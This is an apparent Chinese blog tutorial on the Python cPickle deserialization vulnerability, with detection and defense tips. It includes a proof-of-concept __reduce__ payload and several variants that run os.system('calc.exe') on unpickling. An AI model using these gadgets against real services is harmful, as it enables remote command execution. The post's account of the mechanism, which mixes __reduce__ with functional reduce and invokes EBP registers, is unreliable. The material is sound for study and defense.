(Python)cPickle反序列化漏洞

基本概念

Python中有個庫可以實現序列化和反序列化操作,名爲pickle或cPickle,作用和PHP的serialize與unserialize一樣,兩者只是實現的語言不同,一個是純Python實現、另一個是C實現,函數調用基本相同,但cPickle庫的性能更好,因此這裏選用cPickle庫作爲示例。

cPickle可以對任意一種類型的Python對象進行序列化操作。下面是主要的四個函數:

cPickle.dump():將Python對象序列化保存到本地的文件中。

cPickle.load():載入本地文件,將文件內容反序列化爲Python對象。

cPickle.dumps():將Python對象序列化爲字符串。

cPickle.loads():將字符串反序列化爲Python對象。

簡單示例:

先創建Person類對象並初始化,然後將其序列化並輸出,可以看到是C解釋過的內容:

爲了方便,直接在該代碼下面添加反序列化操作:

 

Demo

還是用上面的示例,添加一個__reduce__()魔術方法:

 

漏洞根源分析

漏洞產生的原因在於其可以將自定義的類進行序列化和反序列化。反序列化後產生的對象會在結束時觸發__reduce__()函數從而觸發惡意代碼。

簡單說明一下__reduce__()函數:將一個數據集合(鏈表,元組等)中的所有數據進行下列操作:用傳給 reduce 中的函數 function(有兩個參數)先對集合中的第 1、2 個元素進行操作,得到的結果再與第三個數據用 function 函數運算,最後得到一個結果。

由於cPickle是C寫的代碼且pickle與其實現原理一致,所以到$PYTHON_HOME/Lib/pickle.py中查看reduce加載的源碼:

通過調試可以發現,第1136行將當前棧內容賦值給stack變量,當前棧內容包含我們輸入的惡意的os.system("calc.txt")內容,接着出棧賦值給args變量;通常函數返回地址都保存在當前EBP寄存器所指的上方,因此通過stack[-1]可以獲取返回函數地址並賦值給func變量;最後調用func(*args)傳入特定參數執行函數,從而完成對象的調用解析而執行任意命令。

 

通用payload

因爲反序列化之後用到的庫需要在反序列化的文件中存在,所以這裏簡單分爲未導入和導入目標模塊即這裏爲os模塊的情況,當然除此之外還有其他一些系統執行庫、其他的姿勢等等,可自行補充,後面有空再補上吧:

這裏貼上測試代碼:

#coding=utf-8
import cPickle

class Person(object):
    def __init__(self,username,password):
        self.username = username 
        self.password = password 

    def __reduce__(self):
    	# 未導入os模塊,通用
    	return (__import__('os').system, ('calc.exe',))
    	# return eval,("__import__('os').system('calc.exe')",)
    	# return map, (__import__('os').system, ('calc.exe',))
    	# return map, (__import__('os').system, ['calc.exe'])

    	# 導入os模塊
        # return (os.system, ('calc.exe',))
        # return eval, ("os.system('calc.exe')",)
        # return map, (os.system, ('calc.exe',))
        # return map, (os.system, ['calc.exe'])

admin = Person('admin','123456')
result = cPickle.dumps(admin)

user = cPickle.loads(result)

 

檢測方法

全局搜索Python代碼中是否含有關鍵字類似“import cPickle”或“import pickle”等,若存在則進一步確認是否調用cPickle.loads()或pickle.loads()且反序列化的參數可控。

 

防禦方法

1、用更高級的接口__getnewargs()、__getstate__()、__setstate__()等代替__reduce__()魔術方法;

2、進行反序列化操作之前,進行嚴格的過濾,若採用的是pickle庫可採用裝飾器實現。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章